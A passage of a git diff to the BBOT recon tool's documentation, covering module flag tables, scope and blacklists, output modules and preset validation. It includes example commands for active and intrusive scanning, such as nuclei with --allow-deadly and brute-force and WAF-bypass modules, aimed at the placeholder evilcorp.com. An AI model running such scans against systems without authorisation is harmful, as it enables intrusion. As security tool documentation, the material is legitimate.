-| cloud-enum       | 15          | Enumerates cloud resources                                     | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, dnsbimi, dnstlsrpt, httpx, oauth, securitytxt                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
-| web-thorough     | 15          | More advanced web scanning functionality                       | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bypass403, dotnetnuke, ffuf_shortnames, generic_ssrf, host_header, hunt, lightfuzz, reflected_parameters, retirejs, smuggler, telerik, url_manipulation                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| slow             | 11          | May take a long time to complete                               | bucket_digitalocean, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, vhost                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
-| email-enum       | 9           | Enumerates email addresses                                     | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
-| affiliates       | 7           | Discovers affiliated hostnames/domains                         | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
-| download         | 7           | Modules that download files, apps, or repositories             | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| deadly           | 6           | Highly aggressive                                              | ffuf, legba, lightfuzz, medusa, nuclei, vhost                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| baddns           | 3           | Runs all modules from the DNS auditing tool BadDNS             | baddns, baddns_direct, baddns_zone                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
-| web-paramminer   | 3           | Discovers HTTP parameters through brute-force                  | paramminer_cookies, paramminer_getparams, paramminer_headers                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| iis-shortnames   | 2           | Scans for IIS Shortname vulnerability                          | ffuf_shortnames, iis_shortnames                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
-| portscan         | 2           | Discovers open ports                                           | portscan, shodan_idb                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
-| social-enum      | 2           | Enumerates social media                                        | httpx, social                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| service-enum     | 1           | Identifies protocols running on open ports                     | fingerprintx                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| subdomain-hijack | 1           | Detects hijackable subdomains                                  | baddns                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
-| web-screenshots  | 1           | Takes screenshots of web pages                                 | gowitness                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| Flag             | # Modules   | Description                                                    | Modules                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+|------------------|-------------|----------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| safe             | 100         | Non-intrusive and non-destructive                              | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, http, hunt, hunterio, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, pgp, portfilter, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, waf_bypass, wayback |
+| passive          | 68          | Never connects to target systems                               | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| active           | 52          | Makes active connections to target systems                     | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, http, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, sslcert, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, webbrute, webbrute_shortnames                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| subdomain-enum   | 47          | Enumerates subdomains                                          | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, http, hunterio, ipneighbor, leakix, myssl, oauth, otx, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| loud             | 21          | Generates a large amount of network traffic                    | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, host_header, iis_shortnames, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, telerik, url_manipulation, virtualhost, wafw00f, webbrute, webbrute_shortnames                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
+| code-enum        | 19          | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| cloud-enum       | 16          | Enumerates cloud resources                                     | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, dnsbimi, dnstlsrpt, http, oauth, securitytxt                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
+| web              | 16          | Non-intrusive web scan functionality                           | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, http, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| web-heavy        | 16          | More advanced web scanning functionality                       | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bucket_hetzner, bypass403, dotnetnuke, generic_ssrf, host_header, hunt, lightfuzz, reflected_parameters, retirejs, telerik, url_manipulation, waf_bypass, webbrute_shortnames                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| slow             | 11          | May take a long time to complete                               | bucket_digitalocean, bucket_hetzner, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, virtualhost                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| email-enum       | 9           | Enumerates email addresses                                     | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| affiliates       | 7           | Discovers affiliated hostnames/domains                         | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
+| download         | 7           | Modules that download files, apps, or repositories             | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| invasive         | 7           | Intrusive or potentially destructive                           | dotnetnuke, generic_ssrf, legba, lightfuzz, medusa, nuclei, telerik                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| baddns           | 3           | Runs all modules from the DNS auditing tool BadDNS             | baddns, baddns_direct, baddns_zone                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| web-paramminer   | 3           | Discovers HTTP parameters through brute-force                  | paramminer_cookies, paramminer_getparams, paramminer_headers                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| iis-shortnames   | 2           | Scans for IIS Shortname vulnerability                          | iis_shortnames, webbrute_shortnames                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| portscan         | 2           | Discovers open ports                                           | portscan, shodan_idb                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| social-enum      | 2           | Enumerates social media                                        | http, social                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| service-enum     | 1           | Identifies protocols running on open ports                     | fingerprintx                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| subdomain-hijack | 1           | Detects hijackable subdomains                                  | baddns                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
+| web-screenshots  | 1           | Takes screenshots of web pages                                 | gowitness                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
 <!-- END BBOT MODULE FLAGS -->
 
 ## Dependencies
 
-BBOT modules have external dependencies ranging from OS packages (`openssl`) to binaries (`nuclei`) to Python libraries (`wappalyzer`). When a module is enabled, installation of its dependencies happens at runtime with [Ansible](https://github.com/ansible/ansible). BBOT provides several command-line flags to control how dependencies are installed.
+BBOT modules have external dependencies ranging from OS packages (`openssl`) to binaries (`nuclei`) to Python libraries (`pyOpenSSL`). When a module is enabled, installation of its dependencies happens at runtime with [Ansible](https://github.com/ansible/ansible). BBOT provides several command-line flags to control how dependencies are installed.
 
 - `--no-deps` - Don't install module dependencies
 - `--force-deps` - Force install all module dependencies
@@ -154,7 +229,7 @@ For details on how Ansible playbooks are attached to BBOT modules, see [How to W
 
 For pentesters and bug bounty hunters, staying in scope is extremely important. BBOT takes this seriously, meaning that active modules (e.g. `nuclei`) will only touch in-scope resources.
 
-By default, scope is whatever you specify with `-t`. This includes child subdomains. For example, if you specify `-t evilcorp.com`, all its subdomains (`www.evilcorp.com`, `mail.evilcorp.com`, etc.) also become in-scope.
+As described [above](#targets-t-seeds-s-and-blacklists-b), targets (`-t`) define what is in-scope and blacklists (`-b`) define what is excluded. Scope includes child subdomains by default -- for example, `-t evilcorp.com` puts `www.evilcorp.com`, `mail.evilcorp.com`, etc. in-scope automatically.
 
 ### Scope Distance
 
@@ -177,72 +252,8 @@ bbot -t evilcorp.com -f subdomain-enum -c scope.report_distance=1
 
 If you want to scan **_only_** that specific target hostname and none of its children, you can specify `--strict-scope`.
 
-Note that `--strict-scope` only applies to targets and whitelists, but not blacklists. This means that if you put `internal.evilcorp.com` in your blacklist, you can be sure none of its subdomains will be scanned, even when using `--strict-scope`.
-
-### Whitelists and Blacklists
-
-BBOT allows precise control over scope with whitelists and blacklists. These both use the same syntax as `--target`, meaning they accept the same event types, and you can specify an unlimited number of them, via a file, the CLI, or both.
-
-#### Whitelists
-
-`--whitelist` enables you to override what's in scope. For example, if you want to run nuclei against `evilcorp.com`, but stay only inside their corporate IP range of `1.2.3.0/24`, you can accomplish this like so:
-
-```bash
-# Seed scan with evilcorp.com, but restrict scope to 1.2.3.0/24
-bbot -t evilcorp.com --whitelist 1.2.3.0/24 -f subdomain-enum -m portscan nuclei --allow-deadly
-```
-
-#### Blacklists
-
-`--blacklist` takes ultimate precedence. Anything in the blacklist is completely excluded from the scan, even if it's in the whitelist.
-
-```bash
-# Scan evilcorp.com, but exclude internal.evilcorp.com and its children
-bbot -t evilcorp.com --blacklist internal.evilcorp.com -f subdomain-enum -m portscan nuclei --allow-deadly
-```
-
-#### Blacklist by Regex
-
-Blacklists also accept regex patterns. These regexes are are checked against the full URL, including the host and path.
-
-To specify a regex, prefix the pattern with `RE:`. For example, to exclude all events containing "signout", you could do:
-
-```bash
-bbot -t evilcorp.com --blacklist "RE:signout"
-```
-
-Note that this would blacklist both of the following events:
-
-- `[URL]       http://evilcorp.com/signout.aspx`
-- `[DNS_NAME]  signout.evilcorp.com`
-
-If you only want to blacklist the URL, you could narrow the regex like so:
-
-```bash
-bbot -t evilcorp.com --blacklist 'RE:signout\.aspx$'
-```
-
-Similar to targets and whitelists, blacklists can be specified in your preset. The `spider` preset makes use of this to prevent the spider from following logout links:
-
-```yaml title="spider.yml"
-description: Recursive web spider
-
-modules:
-  - httpx
-
-blacklist:
-  # Prevent spider from invalidating sessions by logging out
-  - "RE:/.*(sign|log)[_-]?out"
+Note that `--strict-scope` only applies to targets, but not blacklists. This means that if you put `internal.evilcorp.com` in your blacklist, you can be sure none of its subdomains will be scanned, even when using `--strict-scope`.
 
-config:
-  web:
-    # how many links to follow in a row
-    spider_distance: 2
-    # don't follow links whose directory depth is higher than 4
-    spider_depth: 4
-    # maximum number of links to follow per page
-    spider_links_per_page: 25
-```
 
 ## DNS Wildcards
 
@@ -277,4 +288,6 @@ dns:
   wildcard_tests: 20
 ```
 
-If that doesn't work you can consider [blacklisting](#whitelists-and-blacklists) the offending domain.
+If that doesn't work you can consider [blacklisting](#blacklists) the offending domain.
+
+[Next Up: Presets -->](./presets.md){ .md-button .md-button--primary }
diff --git a/docs/scanning/output.md b/docs/scanning/output.md
index b46eb40c86..8715698ed3 100644
--- a/docs/scanning/output.md
+++ b/docs/scanning/output.md
@@ -11,18 +11,48 @@ If you reuse a scan name, it will append to its original output files and levera
 
 Multiple simultaneous output formats are possible because of **output modules**. Output modules are similar to normal modules except they are enabled with `-om`.
 
+By default, `csv`, `txt`, and `json` output modules are always enabled. The `-om` flag is **additive** -- it adds modules on top of the defaults:
+
+```bash
+# default output: csv, txt, json
+bbot -t evilcorp.com -f subdomain-enum
+
+# add discord on top of defaults (csv + txt + json + discord)
+bbot -t evilcorp.com -f subdomain-enum -om discord
+
+# add multiple output modules
+bbot -t evilcorp.com -f subdomain-enum -om discord slack
+```
+
+To remove default output modules, use `-eom` (`--exclude-output-modules`):
+
+```bash
+# only json output (exclude csv and txt)
+bbot -t evilcorp.com -f subdomain-enum -eom csv txt
+```
+
+In a preset YAML, the same behavior applies:
+
+```yaml title="my_preset.yml"
+output_modules:
+  - discord  # added on top of defaults
+
+exclude_output_modules:
+  - csv  # remove csv from defaults
+```
+
 ### STDOUT
 
 The `stdout` output module is what you see when you execute BBOT in the terminal. By default it looks the same as the [`txt`](#txt) module, but it has options you can customize. You can filter by event type, choose the data format (`text`, `json`), and which fields you want to see:
 
 <!-- BBOT MODULE OPTIONS STDOUT -->
-| Config Option                | Type   | Description                                      | Default   |
-|------------------------------|--------|--------------------------------------------------|-----------|
-| modules.stdout.accept_dupes  | bool   | Whether to show duplicate events, default True   | True      |
-| modules.stdout.event_fields  | list   | Which event fields to display                    | []        |
-| modules.stdout.event_types   | list   | Which events to display, default all event types | []        |
-| modules.stdout.format        | str    | Which text format to display, choices: text,json | text      |
-| modules.stdout.in_scope_only | bool   | Whether to only show in-scope events             | False     |
+| Config Option                | Type                    | Description                                      | Default   |
+|------------------------------|-------------------------|--------------------------------------------------|-----------|
+| modules.stdout.accept_dupes  | bool                    | Whether to show duplicate events, default True   | True      |
+| modules.stdout.event_fields  | list                    | Which event fields to display                    | []        |
+| modules.stdout.event_types   | list                    | Which events to display, default all event types | []        |
+| modules.stdout.format        | Literal['text', 'json'] | Which text format to display, choices: text,json | text      |
+| modules.stdout.in_scope_only | bool                    | Whether to only show in-scope events             | False     |
 <!-- END BBOT MODULE OPTIONS STDOUT -->
 
 ### TXT
@@ -45,7 +75,7 @@ The `csv` output module produces a CSV like this:
 | ---------- | ----------------------- | ---------- | ------------- | -------------- | -------------------------------------------------------------------------------------------------------- |
 | DNS_NAME   | evilcorp.com            | 1.2.3.4    | TARGET        | 0              | a-record,cdn-github,distance-0,domain,in-scope,mx-record,ns-record,resolved,soa-record,target,txt-record |
 | DNS_NAME   | www.evilcorp.com        | 2.3.4.5    | certspotter   | 0              | a-record,aaaa-record,cdn-github,cname-record,distance-0,in-scope,resolved,subdomain                      |
-| URL        | http://www.evilcorp.com | 2.3.4.5    | httpx         | 0              | a-record,aaaa-record,cdn-github,cname-record,distance-0,in-scope,resolved,subdomain                      |
+| URL        | http://www.evilcorp.com | 2.3.4.5    | http         | 0              | a-record,aaaa-record,cdn-github,cname-record,distance-0,in-scope,resolved,subdomain                      |
 | DNS_NAME   | admin.evilcorp.com      | 5.6.7.8    | otx           | 0              | a-record,aaaa-record,cloud-azure,cname-record,distance-0,in-scope,resolved,subdomain                     |
 
 ### JSON
@@ -88,62 +118,77 @@ mail.evilcorp.com
 
 ![bbot-discord](https://github.com/blacklanternsecurity/bbot/assets/20261699/6d88045c-8eac-43b6-8de9-c621ecf60c2d)
 
-BBOT supports output via webhooks to `discord`, `slack`, and `teams`. To use them, you must specify a webhook URL either in the config:
+BBOT supports output via webhooks to `discord`, `slack`, and `teams`. To use them, you need to enable the output module and configure a webhook URL.
+
+Via preset:
 
 ```yaml title="discord_preset.yml"
+output_modules:
+  - discord
+
 config:
   modules:
     discord:
       webhook_url: https://discord.com/api/webhooks/1234/deadbeef
 ```
 
-...or on the command line:
+Via command line:
+
 ```bash
 bbot -t evilcorp.com -om discord -c modules.discord.webhook_url=https://discord.com/api/webhooks/1234/deadbeef
 ```
 
-By default, only `VULNERABILITY` and `FINDING` events are sent, but this can be customized by setting `event_types` in the config like so:
+By default, only `FINDING` events are sent, but this can be customized by setting `event_types` in the config like so:
 
 ```yaml title="discord_preset.yml"
+output_modules:
+  - discord
+
 config:
   modules:
     discord:
+      webhook_url: https://discord.com/api/webhooks/1234/deadbeef
       event_types:
-        - VULNERABILITY
         - FINDING
         - STORAGE_BUCKET
 ```
 
 ...or on the command line:
 ```bash
-bbot -t evilcorp.com -om discord -c modules.discord.event_types=["STORAGE_BUCKET","FINDING","VULNERABILITY"]
+bbot -t evilcorp.com -om discord -c modules.discord.webhook_url=https://discord.com/api/webhooks/1234/deadbeef -c modules.discord.event_types=["STORAGE_BUCKET","FINDING"]
 ```
 
-You can also filter on the severity of `VULNERABILITY` events by setting `min_severity`:
-
+You can also filter on the severity of `FINDING` events by setting `min_severity`:
 
 ```yaml title="discord_preset.yml"
+output_modules:
+  - discord
+
 config:
   modules:
     discord:
+      webhook_url: https://discord.com/api/webhooks/1234/deadbeef
       min_severity: HIGH
 ```
 
-### HTTP
+### Webhook
 
-The `http` output module sends [events](events.md) in JSON format to a desired HTTP endpoint.
+The `webhook` output module sends [events](events.md) in JSON format to a desired HTTP endpoint.
 
 ```bash
 # POST scan results to localhost
-bbot -t evilcorp.com -om http -c modules.http.url=http://localhost:8000
+bbot -t evilcorp.com -om webhook -c modules.webhook.url=http://localhost:8000
 ```
 
 You can customize the HTTP method if needed. Authentication is also supported:
 
-```yaml title="http_preset.yml"
+```yaml title="webhook_preset.yml"
+output_modules:
+  - webhook
+
 config:
   modules:
-    http:
+    webhook:
       url: https://localhost:8000
       method: PUT
       # Authorization: Bearer
@@ -155,27 +200,33 @@ config:
 
 ### Elasticsearch
 
-When outputting to Elastic, use the `http` output module with the following settings (replace `<your_index>` with your desired index, e.g. `bbot`):
+- Step 1: Spin up a quick Elasticsearch docker image
+
+```bash
+docker run -d -p 9200:9200 --name=bbot-elastic --v "$(pwd)/elastic_data:/usr/share/elasticsearch/data" -e ELASTIC_PASSWORD=bbotislife -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.16.0
+```
+
+- Step 2: Execute a scan with `elastic` output module
 
 ```bash
 # send scan results directly to elasticsearch
-bbot -t evilcorp.com -om http -c \
-  modules.http.url=http://localhost:8000/<your_index>/_doc \
-  modules.http.siem_friendly=true \
-  modules.http.username=elastic \
-  modules.http.password=changeme
+# note: you can replace "bbot" with your own index name
+bbot -t evilcorp.com -om elastic -c \
+  modules.elastic.url=https://localhost:9200/bbot/_doc \
+  modules.elastic.password=bbotislife
 ```
 
 Alternatively, via a preset:
 
 ```yaml title="elastic_preset.yml"
+output_modules:
+  - elastic
+
 config:
   modules:
-    http:
-      url: http://localhost:8000/<your_index>/_doc
-      siem_friendly: true
-      username: elastic
-      password: changeme
+    elastic:
+      url: http://localhost:9200/bbot/_doc
+      password: bbotislife
 ```
 
 ### Splunk
@@ -185,6 +236,9 @@ The `splunk` output module sends [events](events.md) in JSON format to a desired
 You can customize this output with the following config options:
 
 ```yaml title="splunk_preset.yml"
+output_modules:
+  - splunk
+
 config:
   modules:
     splunk:
@@ -227,6 +281,9 @@ bbot -t evilcorp.com -om postgres -c modules.postgres.database=custom_bbot_db
 ```
 
 ```yaml title="postgres_preset.yml"
+output_modules:
+  - postgres
+
 config:
   modules:
     postgres:
@@ -247,6 +304,9 @@ bbot -t evilcorp.com -om mysql -c modules.mysql.database=custom_bbot_db
 ```
 
 ```yaml title="mysql_preset.yml"
+output_modules:
+  - mysql
+
 config:
   modules:
     mysql:
@@ -268,7 +328,7 @@ mail.evilcorp.com
 portal.evilcorp.com
 ```
 
-## Neo4j
+### Neo4j
 
 Neo4j is the funnest (and prettiest) way to view and interact with BBOT data.
 
@@ -341,6 +401,55 @@ This is not an exhaustive list of clauses, filters, or other means to use cypher
 
 Additional note: these sample queries are dependent on the existence of the data in the target neo4j database.
 
+### Emails
+
+The `emails` output module writes any email addresses found belonging to the target domain to a file (`emails.txt` by default).
+
+### Web Report
+
+The `web_report` output module generates a markdown report of web assets, including URLs, technologies, and findings.
+
+### Nmap XML
+
+The `nmap_xml` output module exports open ports, DNS names, IP addresses, and protocols in Nmap XML format for compatibility with tools that consume Nmap output.
+
+### Message Queues
+
+BBOT supports streaming events as JSON to several message queue systems:
+
+| Module | Description | Key Config |
+|--------|-------------|------------|
+| `kafka` | Publish to a Kafka topic | `bootstrap_servers`, `topic` |
+| `rabbitmq` | Publish to a RabbitMQ queue | `url`, `queue` |
+| `nats` | Publish to a NATS subject | `servers`, `subject` |
+| `zeromq` | Publish to a ZeroMQ PUB socket | `zmq_address` |
+| `websocket` | Stream to a WebSocket endpoint | `url`, `token` |
+
+These can be enabled like any other output module:
+
+```bash
+bbot -t evilcorp.com -om kafka -c modules.kafka.bootstrap_servers=localhost:9092 modules.kafka.topic=bbot_events
+```
+
+### MongoDB
+
+The `mongo` output module sends events to a MongoDB database.
+
+```yaml title="mongo_preset.yml"
+output_modules:
+  - mongo
+
+config:
+  modules:
+    mongo:
+      uri: mongodb://localhost:27017
+      database: bbot
+```
+
+### Python API
+
+The `python` output module is used when running BBOT via the Python API. It enables programmatic access to events as they are produced. See the [Developer Documentation](../dev/index.md) for details.
+
 ### Web_parameters
 
 The `web_parameters` output module will utilize BBOT web parameter extraction capabilities, and output the resulting parameters to a file (web_parameters.txt, by default). Web parameter extraction is disabled by default, but will automatically be enabled when a module is included that consumes WEB_PARAMETER events (including the `web_parameters` output module itself).
@@ -349,4 +458,6 @@ This can be useful for those who want to discover new common web parameters or t
 
 ```bash
 bbot -t evilcorp.com -m paramminer_getparams -c modules.paramminer_getparams.wordlist=/path/to/your/new/wordlist.txt
-``` 
\ No newline at end of file
+```
+
+[Next Up: Tips and Tricks -->](./tips_and_tricks.md){ .md-button .md-button--primary } 
\ No newline at end of file
diff --git a/docs/scanning/presets.md b/docs/scanning/presets.md
index 7fa8f8c93b..87068f4a7e 100644
--- a/docs/scanning/presets.md
+++ b/docs/scanning/presets.md
@@ -25,7 +25,7 @@ output_modules:
 
 ## How to use Presets (`-p`)
 
-BBOT has a ready-made collection of presets for common tasks like subdomain enumeration and web spidering. They live in `~/.bbot/presets`.
+BBOT ships with a collection of presets for common tasks like subdomain enumeration and web spidering. The defaults live in `bbot/presets` inside the installed package. You can also place custom presets anywhere and reference them by path.
 
 To list them, you can do:
 
@@ -61,7 +61,7 @@ target:
 include:
   # include these default presets
   - subdomain-enum
-  - web-basic
+  - web
 
 modules:
   # enable nuclei in addition to the other modules
@@ -111,51 +111,85 @@ bbot -t evilcorp.com -p ./my_spider.yml spider
 bbot -t evilcorp.com -p spider ./my_spider.yml
 ```
 
-## Validating Presets
+## Preset Validation
 
-To make sure BBOT is configured the way you expect, you can always check the `--current-preset` to show the final version of the config that will be used when BBOT executes:
+BBOT automatically validates presets when they load. If your preset has a typo in a top-level key, an unknown module name, or an invalid config option, BBOT will catch it and suggest the closest match:
+
+```text
+$ bbot -p ./mypreset.yml
+ERROR  [preset:modlues] Could not find preset option "modlues". Did you mean "modules"?
+```
+
+This also applies to module config and flags -- for example, misspelling a module name under `config.modules` or using a flag that doesn't exist will produce a helpful error.
+
+To inspect the final merged preset that BBOT will use (after all includes and overrides are applied), use `--current-preset`:
 
 ```bash
-# verify the preset is what you want
+# show the final resolved preset
 bbot -p ./mypreset.yml --current-preset
+
+# show the full config including defaults
+bbot -p ./mypreset.yml --current-preset-full
 ```
 
+## Preset YAML Reference
+
+Here is the full list of supported top-level keys in a preset YAML file:
+
+| Key | Type | Description |
+|-----|------|-------------|
+| `target` (or `targets`) | list | In-scope targets (see [Accepted Input Types](index.md#accepted-input-types)) |
+| `seeds` | list | Seed events to feed into modules. If omitted, targets are used as seeds |
+| `blacklist` | list | Excluded targets. Takes ultimate precedence |
+| `modules` | list | Scan modules to enable |
+| `output_modules` | list | Output modules (default: `csv`, `human`, `json`) |
+| `exclude_modules` | list | Modules to exclude |
+| `flags` | list | Enable all modules with these flags |
+| `require_flags` | list | Only enable modules that have these flags |
+| `exclude_flags` | list | Exclude modules that have any of these flags |
+| `config` | dict | Config overrides (global and per-module) |
+| `include` (or `presets`) | list | Other presets to include |
+| `module_dirs` | list | Additional directories to load modules from |
+| `conditions` | list | Jinja2 conditions evaluated before scan start |
+| `scan_name` | string | Custom scan name (default: random, e.g. `demonic_jimmy`) |
